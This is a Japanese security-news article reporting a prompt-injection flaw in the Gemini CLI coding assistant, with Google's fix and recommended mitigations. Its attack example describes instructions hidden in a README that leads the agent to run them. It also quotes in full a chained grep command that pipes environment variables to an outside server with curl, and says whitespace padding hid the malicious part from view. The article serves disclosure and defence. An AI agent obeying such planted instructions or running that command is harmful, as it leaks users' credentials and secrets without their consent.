1. セキュリティ対策ラボ
  2. セキュリティニュース
  3. 情報セキュリティ
  4. Gemini CLIに深刻な脆弱性、悪意あるコード実行が可能に

Gemini CLIに深刻な脆弱性、悪意あるコード実行が可能に

セキュリティニュース

投稿日時: 更新日時:

Gemini CLIに深刻な脆弱性、悪意あるコード実行が可能に

2025年6月25日にGoogleがリリースしたAIコーディングアシスタント「Gemini CLI」において、悪意あるコードをユーザーの知らないうちに実行可能にする深刻な脆弱性が発見されました。

この問題は、セキュリティ企業Tracebitにより発見され、6月27日にGoogleへ報告されました。Googleは7月25日に修正バージョン v0.1.14 を公開し、7月28日に情報を公開しています。

脆弱性の概要

この脆弱性は、Gemini CLIが”README.md”や”GEMINI.md”といったコンテキストファイルを読み取り、自然言語で書かれたプロジェクト情報を元にAIがコード解析を行う仕様に起因します。

攻撃者は、無害な Python スクリプトとmdファイルへ不正なプロンプト（命令）を巧妙に挿入することで、Gemini CLIに悪意あるシェルコマンドを実行させることが可能です。

特に深刻なのは、Gemini CLIに搭載された”コマンド許可リスト（allowlist）”機能の不備です。ユーザーが一度”grep”のような無害なコマンドを許可すると、その後同じ形式の別コマンド（例: “grep”の後にセミコロンで繋いだ悪意あるコマンド）も自動的に許可されてしまいます。

実際の攻撃例

Tracebitが検証した攻撃では、次のようなステップで実行が行われました：

  1. 正規のコードベースに見せかけたリポジトリに、無害なPythonファイルと細工されたREADME.mdを含める。
  2. README.mdにはGNUライセンス全文を偽装し、末尾に隠されたプロンプトインジェクションを埋め込む。
  3. ユーザーがGemini CLIでリポジトリを解析させると、まず”grep ^Setup README.md”のような無害なコマンドが実行される。
  4. 同じセッション内で”grep Install README.md | head -n 3 ; env | curl –silent -X POST –data-binary @- http://remote.server:8083″が実行され、環境変数などの機密情報が外部サーバへ送信される。
  5. Gemini CLIはこのコマンドを許可済みと判断し、ユーザーに確認せず実行してしまう。

さらに、攻撃者は大量の空白文字を挿入することで、実行されたコマンドの出力から悪意ある部分を視認できないように隠蔽していました。

修正と対応

この脆弱性は、Gemini CLI v0.1.14で修正されています。主な修正点は以下のとおりです

  • シェルコマンドの検証ロジック強化
  • プロンプトインジェクション対策
  • コマンドの実行可視性向上

Googleはまた、CLIのセキュリティモデルについて以下のようにコメントしています：

「CLIではDockerやPodman、macOS Seatbeltといったサンドボックス機構を標準で用意しており、安全な実行環境を提供しています。これらを使用しない場合は、明示的な赤文字警告を表示し、リスクを可視化しています。」（Google VDPチーム）

ただし、Gemini CLIの初期状態ではサンドボックスが無効となっているため、利用者の多くがこの脆弱性の影響を受ける可能性がありました。

推奨される対応

  • Gemini CLIのバージョンをv0.1.14以降に更新
  • 不審なリポジトリでの使用を控える、または必ずサンドボックス環境下で実行
  • ~/.gemini/tmp 以下のログを確認し、過去の実行履歴を監査

影響範囲と今後の課題

この脆弱性は、エンジニアが日常的に行う「未確認コードの解析」という行為を悪用する点で非常に現実的かつ深刻です。Tracebitによれば、同様の手法をOpenAI CodexやAnthropic Claudeでは再現できなかったことから、Gemini CLIの設計上の課題が明らかになっています。

AIツールがコーディング支援の中核を担いつつある現在、安全性と可視性の両立が今後の課題となります。

 

参照

https://tracebit.com/blog/code-exec-deception-gemini-ai-cli-hijack

関連記事

AWSとGoogle CloudのCLIツールで情報漏洩の脆弱性 LeakyCLIAWSとGoogle CloudのCLIツールで情報漏洩の脆弱性 LeakyCLIが発生 React Native、開発用CLIに重大な脆弱性-CVE-2025-11953React Native、開発用CLIに重大な脆弱性-CVE-2025-11953 Google、新しいセキュリティAI「Sec-Gemini v1」を発表Google、新しいセキュリティAI「Sec-Gemini v1」を発表 Google、Geminiの「Gemini Trifecta」脆弱性を修正-プロンプトインジェクションで情報漏洩の恐れGoogle、Geminiの「Gemini Trifecta」脆弱性を修正-プロンプトインジェクションで情報漏洩の恐れ ByteDance 製のIDE Trae IDEに機密情報や個人情報漏洩の危険性-テレメトリー設定無効な上、ユーザーのサーバー接続も続行ByteDance 製のIDE Trae IDEに機密情報や個人情報漏洩の危険性-テレメトリー設定無効な上、ユーザーのサーバー接続も続行 画像の隠し命令でAIから情報窃取する新手のサイバー攻撃画像に隠した命令でAIから情報窃取する新手のサイバー攻撃 中国のハッカーがFortinetのゼロデイ脆弱性を悪用し、資格情報を盗む中国のハッカーがFortinetのゼロデイ脆弱性を悪用し、資格情報を盗む CiscoがNX-OSのゼロデイ 脆弱性を修正（CVE-2024-20399）CiscoがNX-OSのゼロデイ 脆弱性を修正（CVE-2024-20399） Google Geminiが詐欺の片棒を担ぐ：ステルスプロンプトによるフィッシング攻撃が可能にGoogle Geminiが詐欺の片棒を担ぐ：ステルスプロンプトによるフィッシング攻撃が可能に